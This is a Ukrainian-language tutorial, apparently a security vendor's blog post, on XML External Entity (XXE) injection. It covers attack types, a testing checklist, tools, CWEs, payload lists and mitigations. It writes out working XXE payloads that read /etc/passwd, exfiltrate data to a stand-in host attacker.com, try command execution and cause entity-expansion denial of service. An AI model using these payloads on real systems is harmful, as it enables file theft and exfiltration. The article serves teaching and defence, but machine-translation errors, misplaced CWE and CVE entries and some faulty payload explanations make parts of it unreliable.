17 Лют, 2023

Впровадження зовнішньої сутності XML

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Абревіатура для впровадження зовнішньої сутності - XXE, що означає впровадження "XML External Entity".

Впровадження XML External Entity (XXE) - це тип вразливості в системі безпеки, яка може виникнути в додатках, що обробляють вхідні дані XML. XML - це мова розмітки, яка використовується для зберігання і транспортування даних, і зазвичай використовується у веб-додатках для обміну даними між сервером і клієнтом. Впровадження XXE відбувається, коли зловмисник може впровадити шкідливий XML-документ в аналізатор додатка, що дозволяє йому отримати доступ до конфіденційних даних, виконати віддалений код або викликати атаки типу "відмова в обслуговуванні".

Вразливість виникає, коли додаток неправильно перевіряє чи очищає вводяться користувачем дані перед їх аналізом у форматі XML. При атаці XXE зловмисник може мати можливість визначати зовнішні об'єкти під шкідливий XML-документі, які можуть використовуватися для читання файлів на сервері або доступу до ресурсів мережі. Використовуючи цю уразливість, зловмисники можуть вкрасти конфіденційну інформацію, виконати довільний код на сервері або викликати збій програми.

Атаки з використанням ін'єкцій XXE можуть відбуватися в різних контекстах, включаючи веб-додатки, API SOAP і REST, а також інші додатки, які покладаються на дані XML.

Типи зовнішніх ін'єкцій об'єктів

Існує кілька типів атак з впровадженням зовнішніх сутностей (XXE), які були ідентифіковані дослідниками безпеки. Ось список деяких з найбільш поширених методів ін'єкції XXE:

  1. Внутриполосная ін'єкція XXE – при цьому типі атаки зловмисник відправляє шкідливий XML-документ в додаток і отримує результати атаки назад всередині смуги у відповіді додатки.

  2. Позасмугова (OOB) XXE ін'єкція – при цьому типі атаки зловмисник відправляє шкідливий XML-документ в додаток, а потім використовує окремий позасмуговий канал для отримання результатів атаки.

  3. Сліпа ін'єкція XXE – при цьому типі атаки зловмисник відправляє шкідливий XML-документ в додаток, але не отримує ніякої зворотного зв'язку від додатка. Замість цього зловмисник повинен використовувати інший метод, щоб визначити, чи була атака успішною.

  4. Впровадження сутності параметра – при цьому типі атаки зловмисник використовує уразливість в способі обробки додатком сутностей параметрів в DTD (Визначення типу документа) для виконання атаки XXE.

  5. Впровадження зовнішніх об'єктів DTD – при цьому типі атаки зловмисник впроваджує шкідливий DTD, що включає зовнішні об'єкти, які можуть використовуватися для читання файлів на сервері або доступу до мережевих ресурсів.

  6. Впровадження сутності SVG – при цьому типі атаки зловмисник впроваджує шкідливий код в SVG-зображення, яке обробляється додатком, а потім використовує XXE-ін'єкцію для виконання коду.

  7. Впровадження SOAP з вкладеннями (SwA) – в цьому типі атаки зловмисник використовує уразливість в способі обробки повідомлень SOAP з вкладеннями для виконання атаки XXE.

Приклади різних запитів, які можуть бути використані для тестування зовнішніх сутностей ін'єкцій

Базовий запит XXE:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>
				
			

у цьому прикладі зловмисник відправляє POST-запит на test.php досьє на example.com домен. Корисне навантаження XML включає об'єкт параметр з ім'ям "xxe", який зчитує вміст файлу /etc/passwd з використанням ключового слова SYSTEM.

Позасмуговий запит XXE:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
  %xxe;
]>
				
			

У цьому прикладі зловмисник відправляє POST-запит test.php досьє на example.com домен. Корисне навантаження XML включає об'єкт параметр з ім'ям "xxe", який вказує на зовнішній файл DTD, розміщений в домені зловмисника. Потім зловмисник може переглянути журнали на своєму сервері, щоб дізнатися, чи була атака XXE успішною.

Сліпий запит XXE:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "http://attacker.com/xxe.dtd">
]>
<test>&xxe;</test>
				
			

У цьому прикладі зловмисник відправляє POST-запит test.php досьє на example.com домен. Корисне навантаження XML включає об'єкт параметр з ім'ям "xxe", який вказує на зовнішній файл DTD, розміщений в домені зловмисника. Проте, оскільки програма не надає ніякої зворотного зв'язку у відповіді, зловмисник повинен використовувати інший метод, щоб визначити, чи була атака XXE успішною.

Введення об'єкта параметра:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % ext SYSTEM "http://attacker.com/external.dtd">
  %ext;
]>
<message>&payload;</message>
				
			

У цьому прикладі зловмисник відправляє POST-запит test.php досьє на example.com домен. Корисне навантаження XML включає об'єкт параметр з ім'ям "ext", який вказує на зовнішній файл DTD, розміщений в домені зловмисника. Зловмисник може використовувати зовнішній файл DTD для визначення додаткових об'єктів, таких як "корисне навантаження", які можуть бути використані для виконання атаки XXE.

Позасмугова (OOB) ін'єкція XXE:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % ext SYSTEM "http://attacker.com/external.dtd">
  <!ENTITY % data SYSTEM "file:///dev/random" >
  <!ENTITY % oob SYSTEM "http://attacker.com/?%data;">
  %ext;
]>
<message>&payload;</message>
				
			

У цьому прикладі зловмисник використовує позасмуговий канал для отримання результатів атаки XXE. Корисне навантаження XML включає об'єкт параметр з ім'ям "ext", який вказує на зовнішній файл DTD, розміщений в домені зловмисника. Файл DTD містить додаткові об'єкти, такі як "дані" і "oob", які можуть використовуватися для зчитування даних з сервера і відправки їх в домен зловмисника.

МИЛО з насадками (SwA) для ін'єкцій:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: multipart/related; boundary="boundary"

--boundary
Content-Type: text/xml; charset=utf-8
Content-Transfer-Encoding: 8bit

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % ext SYSTEM "http://attacker.com/external.dtd">
  %ext;
]>
<message>&payload;</message>

--boundary
Content-Type: application/octet-stream
Content-Transfer-Encoding:

				
			

У цьому прикладі зовнішній файл DTD розміщений в домені зловмисника. Файл DTD містить додаткові об'єкти, такі як "корисне навантаження", які можуть бути використані для виконання атаки XXE. Корисне навантаження атаки включається як вкладення до запиту.

Важливо відзначити, що ці атаки є лише верхівкою айсберга, і існує безліч варіантів і комбінацій атак, які можуть бути використані для використання вразливостей XXE.

Приклади використання зовнішніх ін'єкцій об'єктів

Витяг конфіденційних даних:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<message>&file;</message>
				
			

У цьому прикладі зловмисник відправляє POST-запит test.php досьє на example.com домен. Корисне навантаження XML включає об'єкт з ім'ям "file", який зчитує вміст файлу /etc/passwd з використанням ключового слова SYSTEM.

Віддалене виконання коду:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY command "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?%data;'>">
  <!ENTITY data SYSTEM 'expect://ls'>
  %command;
]>
<message>&send;</message>
				
			

У цьому прикладі зловмисник відправляє POST-запит test.php досьє на example.com домен. Корисне навантаження XML включає в себе об'єкт з ім'ям "command", який вводить об'єкт з ім'ям "send", який відправляє вихідні дані команди "ls" в домен зловмисника.

Відмова в обслуговуванні (DoS):

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % entity1 "<!ENTITY &#x25; entity2 '&#x26;#x25; entity2;&#x25; entity2;'>">
  %entity1;
]>
<message>&entity2;</message>
				
			

У цьому прикладі зловмисник відправляє POST-запит test.php досьє на example.com домен. Корисне навантаження XML включає в себе об'єкт з ім'ям "entity1", який вводить об'єкт з ім'ям "entity2", який посилається на себе, викликаючи нескінченний цикл і споживаючи надмірні ресурси на сервері, що призводить до DoS.

Це всього лише кілька прикладів запитів на використання зовнішніх об'єктів. Важливо відзначити, що ці атаки призначені тільки для освітніх цілей, і їх використання незаконно без дозволу власника цільової системи.

Методи підвищення привілеїв Впровадження зовнішніх сутностей

Методи підвищення привілеїв для атак з впровадженням зовнішніх об'єктів (XXE) зазвичай включають використання уразливості для обходу контролю доступу або отримання підвищених привілеїв в цільовій системі.

  1. Витяг конфіденційних даних для бічного переміщення: зловмисник може використовувати уразливість XXE для отримання конфіденційних даних, таких як облікові дані або файли конфігурації, які можуть бути використані для бічного переміщення у цільовій мережі. Наприклад, зловмисник може впровадити об'єкт, який зчитує вміст конфіденційного файлу і відправляє її на віддалений сервер, контрольований зловмисником.

  2. Використання довірчих відносин: В деяких випадках зловмисник може використовувати уразливість XXE для використання довірчих відносин між різними системами. Наприклад, зловмисник може впровадити об'єкт, який посилається на зовнішній DTD, розміщений у довіреному домені, наприклад на сайті постачальника або партнера. Довірений сайт може використовуватися для виконання корисної навантаження атаки, дозволяючи зловмиснику обійти засоби контролю доступу в цільовій системі.

  3. Використання складних структур даних XML: Деякі структури даних XML можуть бути складними і важкими для аналізу, що може створити можливості для підвищення привілеїв. Наприклад, зловмисник може використовувати уразливість XXE для впровадження об'єкту, який змінює внутрішній підмножина DTD XML-документа, що може змінити структуру документа і дозволити зловмиснику отримати доступ до обмежених частинах системи.

  4. Атака на аналізатори XML: В деяких випадках зловмисник може використовувати уразливість XXE для використання вразливостей в самому аналізаторі XML. Наприклад, зловмисник може використовувати об'єкт, який запускає вразливість переповнення буфера або пошкодження пам'яті в аналізаторі, що дозволяє зловмиснику виконувати довільний код з підвищеними привілеями.

Загальна методологія та контрольний список для тестування зовнішніх сутностей впроваджень

  1. Визначення полів вводу, які беруть XML-дані: першим кроком у тестуванні на наявність вразливостей XXE є визначення будь-яких полів введення, які беруть XML-дані, таких як API SOAP або REST, які беруть корисну навантаження XML, або веб-додатки, які беруть XML-дані в полях введення.

  2. Спроба запровадити просту зовнішню сутність: наступним кроком є спроба запровадити просту зовнішню сутність, таку як корисне навантаження включення файлу, яка зчитує файл з локальної файлової системи. Якщо додаток обробляє об'єкт і повертає вміст файлу, воно може бути вразливим для XXE.

  3. Спроба впровадити більш складні корисні навантаження: Якщо проста корисне навантаження не вдалася, спробуйте впровадити більш складні корисні навантаження, які використовують вкладені об'єкти або посилаються на зовнішні DTD. Мета полягає в тому, щоб визначити конкретні типи синтаксичних аналізаторів XML або структур даних XML, які вразливі для атак XXE.

  4. Перевірка на наявність сліпих вразливостей XXE: В деяких випадках уразливості XXE можуть бути "сліпими", що означає, що додаток не повертає ніяких повідомлень про помилки або інших вказівок на те, що завантаження була успішною. Щоб перевірити наявність вразливостей blind XXE, введіть корисну навантаження, яка надсилає запит на зовнішній сервер, керований тестувальником, наприклад віддалений файл зображення або пошук DNS. Якщо сервер отримує запит, це вказує на те, що завантаження була успішною.

  5. Перевірка перевірки і очищення вхідних даних: перевірте, чи перевіряє додаток і очищає чи вхідні дані. Якщо програма не перевіряє чи не очищає вхідні дані, може виявитися можливим обійти засоби контролю безпеки і виконати корисні навантаження XXE.

  6. Перевірте наявність захисту від XXE: Багато фреймворки та бібліотеки забезпечують захист від вразливостей XXE, таких як використання безпечних аналізаторів XML або параметрів конфігурації, які перешкоджають вирішенню зовнішніх об'єктів. Перевірте, реалізовано у додатку такі засоби захисту і чи є вони ефективними.

  7. Документуйте вразливість і повідомляйте про це: Якщо уразливість виявлена, задокументуйте деталі експлойта і надайте чітке пояснення впливу і потенційного ризику для організації. Повідомте про уразливості відповідним зацікавленим сторонам, таким як команда розробників або служба безпеки, і вкажіть чіткі кроки по усуненню.

Це загальна методологія та контрольний список для тестування вразливостей XXE. Важливо зазначити, що конкретні методи і етапи тестування можуть змінюватись в залежності від архітектури цільової системи і конкретного контексту уразливості.

Набір інструментів для використання зовнішніх сутностей ін'єкцій

Ручні інструменти:

  1. Burp Suite: Burp Suite - популярний інструмент для тестування безпеки веб-додатків, включаючи тестування XXE. Він надає ряд функцій для ручного тестування на наявність вразливостей XXE, таких як можливість змінювати корисні навантаження XML і відправляти їх цільовим додатком.

  2. OWASP ZAP: OWASP ZAP - ще один популярний інструмент для тестування безпеки веб-додатків. Він включає в себе функції для ручного тестування на наявність вразливостей XXE, такі як можливість змінювати запити і відповіді і аналізувати XML-дані.

  3. SoapUI: SoapUI - це інструмент тестування, спеціально розроблений для тестування SOAP і REST API. Він включає функції для ручного тестування на наявність вразливостей XXE, такі як можливість змінювати корисні навантаження XML і аналізувати відповіді.

  4. XML External Entity Injection Exploiter: Це ручний інструмент, розроблений спеціально для тестування вразливостей XXE. Це дозволяє тестировщику змінювати корисні навантаження XML і аналізувати відповіді на наявність ознак вразливостей XXE.

  5. Корисні навантаження XXE: це набір корисних навантажень XXE і DTD, які можна використовувати для ручного тестування на наявність вразливостей XXE.

Автоматизовані інструменти:

  1. Nessus: Nessus - популярний сканер вразливостей, який включає в себе модулі для автоматичної перевірки на наявність вразливостей XXE. Він може сканувати веб-додатки та API-інтерфейси на наявність вразливостей XXE та надавати звіт про будь-які виявлені результати.

  2. Acunetix: Acunetix - ще один популярний сканер веб-додатків, який включає функції автоматичної перевірки на наявність вразливостей XXE. Він може виявити уразливості XXE і надати рекомендації з усунення.

  3. AppScan: AppScan - це сканер веб-додатків, розроблений компанією HCL Technologies, що включає функції автоматичної перевірки на наявність вразливостей XXE. Він може виявити уразливості XXE і надати рекомендації з усунення.

  4. Netsparker: Netsparker - це сканер веб-додатків, який включає функції автоматичної перевірки на наявність вразливостей XXE. Він може виявити уразливості XXE і надати рекомендації з усунення.

  5. WebInspect: WebInspect - це сканер веб-додатків, розроблений компанією Micro Focus, який включає функції автоматичної перевірки на наявність вразливостей XXE. Він може виявити уразливості XXE і надати рекомендації з усунення.

  6. Skipfish: Skipfish - це сканер веб-додатків, який включає функції автоматичної перевірки на наявність вразливостей XXE. Він може виявити уразливості XXE і надати рекомендації з усунення.

  7. Arachni: Arachni - це сканер веб-додатків з відкритим вихідним кодом, що включає функції автоматичної перевірки на наявність вразливостей XXE. Він може виявити уразливості XXE і надати рекомендації з усунення.

  8. Vega: Vega - це сканер веб-додатків з відкритим вихідним кодом, що включає функції автоматичної перевірки на наявність вразливостей XXE. Він може виявити уразливості XXE і надати рекомендації з усунення.

  9. Nikto: Nikto - це сканер веб-сервер з відкритим вихідним кодом, що включає функції автоматичної перевірки на наявність вразливостей XXE. Він може виявити уразливості XXE і надати рекомендації з усунення.

  10. Qualys: Qualys - це хмарний сканер вразливостей, який включає функції автоматичної перевірки на наявність вразливостей XXE. Він може виявити уразливості XXE і надати рекомендації з усунення.

Плагіни для браузера:

  1. XXEinjector: XXEinjector - це плагін для браузера, призначений для перевірки вразливостей XXE. Це дозволяє користувачеві змінювати корисні дані XML і відправляти їх цільове додаток.

  2. XxeProbe: XxeProbe - це ще один плагін для браузера, призначений для перевірки вразливостей XXE. Він може аналізувати відповіді на предмет виявлення вразливостей XXE і давати рекомендації з усунення.

Тестові фреймворки:

  1. OWASP Web Security Testing Guide: OWASP Web Security Testing Guide - це платформа для тестування веб-додатків на наявність вразливостей в системі безпеки, включаючи уразливості XXE. У ньому містяться рекомендації з ручним і автоматизованим методам і технікам тестування.

  2. NIST SP 800-53: є основою для засобів управління інформаційною безпекою, включаючи засоби управління для веб-додатків. Він включає в себе керівництво з тестування веб-додатків на наявність вразливостей XXE та інших проблем безпеки.

  3. PTES: Стандарт виконання тестування на проникнення (PTES) являє собою основу для проведення тестування на проникнення, включаючи тестування веб-додатків. Він включає в себе керівництво по тестуванню на наявність вразливостей XXE та інших проблем безпеки.

  4. OSSTMM: Керівництво по методології тестування безпеки з відкритим вихідним кодом (OSSTMM) - це платформа для тестування безпеки, включаючи тестування веб-додатків. Він включає в себе керівництво по тестуванню на наявність вразливостей XXE та інших проблем безпеки.

  5. OASIS: Організація з просування стандартів структурованої інформації (OASIS) - це організація з стандартизації, яка розробила ряд стандартів, пов'язаних з XML, включаючи XML-схеми DTD. Ці стандарти можуть бути використані для тестування на наявність вразливостей XXE.

    В цілому, при тестуванні на наявність вразливостей, пов'язаних з впровадженням зовнішніх об'єктів, важливо використовувати комбінацію ручних та автоматизованих інструментів і методів для забезпечення ретельного тестування. Це може включати в себе зміну корисних навантажень XML, аналіз відповідей і використання великої кількості різних інструментів для виявлення вразливостей.

Середній бал CVSS зовнішніх ін'єкцій об'єктів

Важко отримати середній бал CVSS для вразливостей з впровадженням зовнішніх об'єктів (XXE), оскільки серйозність кожної уразливості може сильно варіюватися в залежності від конкретної реалізації і потенційного впливу на вразливу систему.

Загальна система оцінки вразливостей (CVSS) є стандартним методом оцінки серйозності вразливостей в системі безпеки. Оцінка CVSS розраховується на основі декількох факторів, включаючи вплив уразливості і простоту експлуатації. Підсумковий бал коливається від 0 до 10, причому більш високий бал вказує на більш серйозну уразливість.

У разі вразливостей XXE вплив і простота використання можуть сильно відрізнятися. Наприклад, вразливість XXE, яка дозволяє зловмисникові отримувати конфіденційні дані з сервера, може вважатися дуже серйозною і може отримати високий бал CVSS. З іншого боку, вразливість XXE, яка дозволяє зловмиснику отримати лише обмежений обсяг інформації або потребує високого рівня кваліфікації для використання, може отримати більш низький бал CVSS.

В цілому, уразливості XXE вважаються серйозними проблемами безпеки, які потенційно можуть призвести до витоку даних, відмови в обслуговуванні або віддаленого виконання коду. Таким чином, важливо усунути ці проблеми, як тільки вони будуть виявлені, щоб запобігти їх використання зловмисниками. Рекомендується оцінити вплив і можливість використання кожної конкретної уразливості XXE і використовувати отриману оцінку CVSS в якості керівництва для визначення пріоритетів дій по виправленню.

Загальна перерахування слабких місць (CWE) для зовнішніх ін'єкцій об'єктів

  1. CWE-611: Неправильне обмеження посилання на зовнішню сутність XML: ця вразливість виникає, коли програма обробляє введені XML-дані без належного обмеження посилань на сутності у вхідних даних, що може дозволити зловмисникам читати або записувати довільні файли, витягувати конфіденційні дані або виконувати довільний код.

  2. CWE-78: Неправильна нейтралізація спеціальних елементів, використовуваних в команді операційної системи: ця слабкість виникає, коли додаток неправильно очищає користувальницький введення, що використовується в команді операційної системи, що може дозволити зловмисникам виконувати довільні команди на сервері.

  3. CWE-200: Розкриття інформації: ця вразливість виникає, коли додаток ненавмисно надає конфіденційну інформацію зловмисникові. У разі вразливостей XXE це може статися, якщо зловмисник зможе отримати конфіденційну інформацію з сервера.

  4. CWE-400: Неконтрольоване споживання ресурсів: ця вразливість виникає, коли додаток неправильно обмежує ресурси, які можуть бути використані зловмисником. У разі вразливостей XXE це може статися, якщо зловмисник здатний змусити сервер споживати надмірні ресурси, що призводить до відмови в обслуговуванні.

  5. CWE-502: Десериализация ненадійних даних: ця вразливість виникає, коли додаток десериализует дані, надані ненадійним джерелом, що може дозволити зловмисникам виконувати довільний код на сервері.

  6. CWE-601: Перенаправлення URL-адреси на ненадійний сайт: ця вразливість виникає, коли додаток дозволяє перенаправити користувача на ненадійний сайт. У разі вразливостей XXE це може статися, якщо зловмисник зможе перенаправлення користувача на сайт, який знаходиться під контролем зловмисника.

  7. CWE-732: Неправильне призначення дозволів для критичних ресурсів: ця вразливість виникає, коли додаток неправильно призначає дозволу для критичних ресурсів, що може дозволити зловмисникам отримати доступ до цих ресурсів або змінити їх.

  8. CWE-862: Відсутній авторизація: ця вразливість виникає, коли додаток неправильно застосовує засоби контролю доступу, що може дозволити зловмисникам отримати доступ до ресурсів або виконувати дії, які вони не повинні мати можливості.

  9. CWE-863: Неправильна авторизація: ця вразливість виникає, коли додаток неправильно застосовує засоби контролю доступу, що може дозволити зловмисникам отримати доступ до ресурсів або виконати дії, які вони не повинні мати можливості.

Останні CVE, пов'язані з впровадженням зовнішніх об'єктів

CVE-2022-0217 – Було виявлено, що внутрішня бібліотека просодії для завантаження XML на основі libexpat неправильно обмежує можливості XML, дозволені в аналізованих XML-даних. При наявності відповідних вхідних даних зловмисника це призводить до розширення рекурсивних посилань на об'єкти з DTD (CWE-776). Крім того, в залежності від використовуваної версії libexpat, він також може дозволяти ін'єкції з використанням посилань на зовнішні сутності XML (CWE-611).

Список CVE постійно оновлюється і доповнюється актуальний список всіх існуючих поширених загроз і вразливостей (CVE) для вразливостей, пов'язаних з контрабандою HTTP-запитів, можна знайти на офіційному веб-сайті CVE https://cve.mitre.org/

Список популярних експлойтів, пов'язаних з впровадженням зовнішніх сутностей

Існує кілька популярних експлойтів, пов'язаних з уразливими місцями, пов'язаними з впровадженням зовнішніх сутностей (XXE), і вони можуть мати широкий спектр наслідків в залежності від конкретної реалізації і серйозності уразливості. Ось деякі поширені експлойти XXE:

  1. Віддалене виконання коду (RCE): вразливість XXE може дозволити зловмиснику виконати довільний код на сервері. Це може бути досягнуто шляхом впровадження шкідливої XML-сутності, що включає виконуваний код, який потім може бути проаналізований і виконаний сервером.

  2. Відмова в обслуговуванні (DoS): зловмисник може використовувати уразливість XXE, щоб змусити сервер споживати надмірні ресурси, що призводить до відмови в обслуговуванні. Це може бути досягнуто шляхом введення об'єкта XML, який змушує сервер входити в нескінченний цикл, або шляхом введення великої кількості об'єктів, які змушують сервер споживати великий обсяг пам'яті.

  3. Розкриття файлів: вразливість XXE може дозволити зловмиснику отримати конфіденційні файли з сервера. Це може бути досягнуто шляхом впровадження XML-об'єкта, що містить посилання на конфіденційний файл, який потім може бути проаналізований та повернуто зловмисникові.

  4. SSRF (підробка запитів на стороні сервера): зловмисник може використовувати уразливість XXE для виконання запитів на стороні сервера до іншим внутрішнім системам, що може дозволити зловмиснику отримати конфіденційну інформацію або виконати довільний код у цих системах. Це може бути досягнуто шляхом введення XML-об'єкта, який містить посилання на внутрішню систему, яка потім може бути використана для надсилання запитів до цієї системи.

  5. Перенесення підпису XML: це особливий тип експлойта XXE, який включає в себе маніпулювання підписом XML, що використовується для цифрових підписів у документах XML. Маніпулюючи підписом, зловмисник може містити довільні XML-об'єкти, які можуть бути проаналізовані і виконані сервером, що може призвести до віддаленого виконання коду або інших типів атак.

  6. XXE через API SOAP і REST: зловмисник може використовувати уразливості XXE в API SOAP і REST для отримання конфіденційної інформації або виконання довільного коду на сервері. Це може бути досягнуто шляхом впровадження шкідливих XML-об'єктів запити SOAP або REST, які потім можуть бути проаналізовані і виконані сервером.

  7. Сліпий XXE: в деяких випадках вразливість XXE може не повертати зловмиснику жодних вихідних даних, що ускладнює її виявлення і використання. Сліпі атаки XXE включають впровадження об'єкта XML, який запускає певний відповідь від сервера, такої як зміна запису бази даних або зміна часу відповіді, який може бути використаний для виведення конфіденційної інформації або виконання довільного коду.

Практикуйтеся у виявленні і використанні зовнішніх сутностей ін'єкцій

Існує декілька доступних ресурсів та інструментів, які можуть допомогти вам почати роботу.

Ось кілька рекомендацій:

  1. Уразливі веб-додатки: Існує кілька навмисно вразливих веб-додатків, які включають уразливості XXE як частини свого дизайну. Ці програми - відмінний спосіб попрактикуватися у використанні вразливостей XXE і дізнатися більше про різних типах експлойтів XXE. Деякі приклади вразливих веб-додатків включають OWASP WebGoat і Mutillidae.

  2. Завдання захоплення прапора (CTF): Завдання CTF - це змагання, в яких учасники намагаються вирішити ряд проблем безпеки, включаючи уразливості XXE. Ці завдання можуть стати відмінним способом попрактикуватися і поліпшити свої навички в конкурентному середовищі. Існує кілька онлайн-платформ CTF, таких як HackTheBox і TryHackMe, які пропонують XXE завдання.

  3. Інструменти тестування на проникнення: Існує кілька інструментів тестування на проникнення, які можуть допомогти вам виявити і використовувати уразливості XXE, такі як Burp Suite і OWASP ZAP. Ці інструменти можна використовувати для сканування вразливостей XXE і тестування різних типів експлойтів XXE.

  4. Онлайн-навчальні посібники та курси: Існує кілька онлайн-навчальних посібників і курсів, які допоможуть вам дізнатися про уразливість XXE і про те, як їх використовувати. Деякі приклади включають модуль "Впровадження XXE" в Академії веб-безпеки PortSwigger і модуль "Впровадження зовнішніх об'єктів XML" в проекті OWASP Top 10.

  5. Практика в реальних додатках: Нарешті, один з кращих способів дізнатися про уразливість XXE - це попрактикуватися в реальних додатках. Це можна зробити, змінивши середовище тестування і навмисно впровадивши уразливості XXE, або беручи участь у програмах винагороди за помилки або програмах розкриття вразливостей. Важливо відзначити, що ви повинні намагатися використовувати уразливості тільки в тих системах, на тестування, яких у вас є явне дозвіл.

Книги з оглядом зовнішніх сутностей ін'єкцій

  1. "Безпека веб-додатків: керівництво для початківців" Брайана Саллівана і Вінсента Ллю: Ця книга охоплює широкий спектр тем безпеки веб-додатків, включаючи уразливості XXE, в зручній для початківців формі. У ньому містяться практичні рекомендації щодо виявлення та зниження ризиків безпеки у веб-додатках.

  2. "The Web Application hacker's Handbook: пошук і використання вразливостей безпеки" Дафидд Штуттард і Маркус Пінто: Ця книга являє собою всеосяжне керівництво з безпеки веб-додатків і включає докладний опис вразливостей XXE. У ньому містяться покрокові інструкції з виявлення, використання і усунення вразливостей XXE у веб-додатках.

  3. "Рецепти XML, JSON для SQL Server: підхід до вирішення проблем" Алекса Грінберга: Ця книга присвячена обробці XML, JSON в SQL Server, але включає розділ про уразливість XXE і способи їх усунення. У ньому містяться практичні поради про те, як написати безпечний код для обробки XML, JSON в SQL Server.

  4. "Мистецтво злому" Джона Еріксона: Ця книга являє собою практичне керівництво по злому і включає розділ про впровадження зовнішніх сутностей XML. У ньому містяться докладні інструкції про те, як виявляти і використовувати уразливості XXE у веб-додатках.

  5. "Освоєння сучасного тестування на проникнення в Інтернет" Прахара Прасада: Ця книга являє собою практичне керівництво з тестування на проникнення в Інтернет і включає розділ про уразливість XXE. У ньому містяться покрокові інструкції з виявлення і використання вразливостей XXE у веб-додатках за допомогою таких інструментів, як Burp Suite.

  6. "Black Hat Python: програмування на Python для хакерів і пентестеров" Джастіна Сейтца: Ця книга присвячена використанню Python для злому і включає розділ про уразливість XXE. У ньому даються практичні поради про те, як писати скрипти на Python для виявлення і використання вразливостей XXE у веб-додатках.

Список корисних навантажень для впровадження зовнішніх об'єктів

  1. ‘<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>’
    Ця корисна навантаження визначає зовнішній об'єкт з ім'ям "xxe", який посилається на локальну файлову систему для читання вмісту файлу/etc /passwd".

  2. ‘<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “http://attacker.com/xxe”> ]>’
    Ця корисна навантаження визначає зовнішній об'єкт з ім'ям "xxe", який посилається на контрольований зловмисником веб-сервер для отримання довільних даних або виконання довільних команд.

  3. ‘<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM “file:///etc/passwd”> %xxe; ]>’
    Ця корисна навантаження визначає об'єкт зовнішнього параметра з ім'ям "xxe", який посилається на локальну файлову систему для читання вмісту файлу/etc/passwd".

  4. ‘<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM “http://attacker.com/xxe”> %xxe; ]>’
    Ця корисна навантаження визначає об'єкт зовнішнього параметра з ім'ям "xxe", який посилається на контрольований зловмисником веб-сервер для отримання довільних даних або виконання довільних команд.

  5. ‘<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “php://filter/read=convert.base64-encode/resource=index.php”> ]>’ This payload defines an external entity named “xxe” that uses the PHP filter to read the contents of a file and encode it in Base64 format.

  6. ‘<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “php://input”> ]>’
    Ця корисна навантаження визначає зовнішній об'єкт з ім'ям "xxe", який зчитує вміст тіла запиту, яке може використовуватися для передачі довільних даних або команд на сервер.

  7. ‘<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “data:text/plain;base64,PHNjcmlwdD5hbGVydCgxMjM0KTwvc2NyaXB0Pg==”> ]>’
    Ця корисна навантаження визначає зовнішній об'єкт з ім'ям "xxe", який містить дані в кодуванні base64, які можуть використовуватися для виконання довільного коду JavaScript в браузері.

Пом'якшення наслідків та способи захисту від зовнішніх сутностей ін'єкцій

Ось кілька способів пом'якшення та захисту від атак з впровадженням зовнішніх об'єктів:

  1. Перевірка вхідних даних: перевірте і очистіть всі дані, введені користувачем, щоб переконатися, що вони знаходяться в очікуваному форматі і не містять ніяких шкідливих даних. Це включає в себе вхідні дані з усіх джерел, таких як форми, файли cookie та заголовки.

  2. Використовуйте білий список: внесіть в білий список припустимі вхідні значення і видаліть всі вхідні дані, які не відповідають очікуваному формату. Це може запобігти впровадження шкідливого коду або об'єктів.

  3. Уникайте використання аналізаторів XML, що підтримують зовнішні об'єкти: використовуйте аналізатори XML, які не підтримують зовнішні об'єкти, або відключіть зовнішні об'єкти конфігурації аналізатора. Це може запобігти аналіз і виконання шкідливих об'єктів.

  4. Використовуйте параметризрвані запити: використовуйте параметризрвані запити замість конкатенації рядків для побудови запитів до бази даних. Це може запобігти атаки з використанням SQL-ін'єкцій, які можуть використовуватися в поєднанні з атаками з впровадженням зовнішніх об'єктів для підвищення привілеїв та виконання довільного коду.

  5. Використовуйте перевірку введення і кодування виведення на стороні сервера: використовуйте перевірку введення на стороні сервера для перевірки і очищення всього користувача введення і кодування висновку, щоб запобігти впровадження шкідливого коду або об'єктів у відповідь.

  6. Оновлюйте програмне забезпечення: оновлюйте все програмне забезпечення і залежності з допомогою останніх виправлень і оновлень безпеки. Це може запобігти використання відомих вразливостей.

  7. Впровадження контролю доступу: впровадження контролю доступу для обмеження доступу до конфіденційних ресурсів і функцій. Це може обмежити вплив атаки з впровадженням зовнішнього об'єкта і запобігти несанкціонований доступ до критично важливих даних.

Дотримуючись цих рекомендацій, ви можете значно знизити ризик атак з впровадженням зовнішніх об'єктів і захистити свої додатки і дані від зловмисників.

Висновок

